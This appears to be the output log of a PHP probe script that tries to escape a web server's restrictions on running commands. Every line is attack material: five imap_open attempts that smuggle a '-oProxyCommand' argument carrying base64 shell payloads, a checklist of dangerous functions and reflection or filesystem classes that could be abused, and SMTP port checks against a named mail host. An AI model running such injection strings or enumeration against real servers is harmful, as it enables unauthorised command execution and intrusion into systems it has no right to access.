=== Testing IMAP OPEN bypass === Try 0: {localhost:143/imap}INBOX" -oProxyCommand="echo KGlkOyB1bmFtZSAtYTsgd2hpY2ggZ2Nj... Error: Try 1: {localhost:143}INBOX" -oProxyCommand="echo KGlkOyB1bmFtZSAtYTsgd2hpY2ggZ2NjIGNjI... Error: Try 2: {localhost:993/imap/ssl}INBOX" -oProxyCommand="echo KGlkOyB1bmFtZSAtYTsgd2hpY2gg... Error: Try 3: {localhost:993/imap/ssl/novalidate-cert}INBOX" -oProxyCommand="echo KGlkOyB1bmFt... Error: Try 4: {localhost:143}INBOX" -oProxyCommand="bash -c '{ echo KGlkOyB1bmFtZSAtYTsgd2hpY2... Error: === Trying proc_open alternatives === pcntl_exec: no dl: no register_shutdown_function: YES register_tick_function: YES expect_popen: no dbase_open: no dbmopen: no w32api_register_function: no win32_create_service: no newt_init: no openal_buffer_loadwav: no ncurses_init: no newrelic_create_distributed_trace_payload: no ssh2_exec: no === Interesting classes === SplObjectStorage: YES COM: no DOTNET: no Java: no FFI: no ReflectionFunction: YES ReflectionClass: YES SplFileObject: YES FilesystemIterator: YES GlobIterator: YES SplFileInfo: YES RecursiveDirectoryIterator: YES === Connect to mail SMTP directly === SMTP port 25 OPEN! Response: 220 cypher.composeit.hu ESMTP i-MSCP 1.5.3 Managed SMTP port 587 OPEN!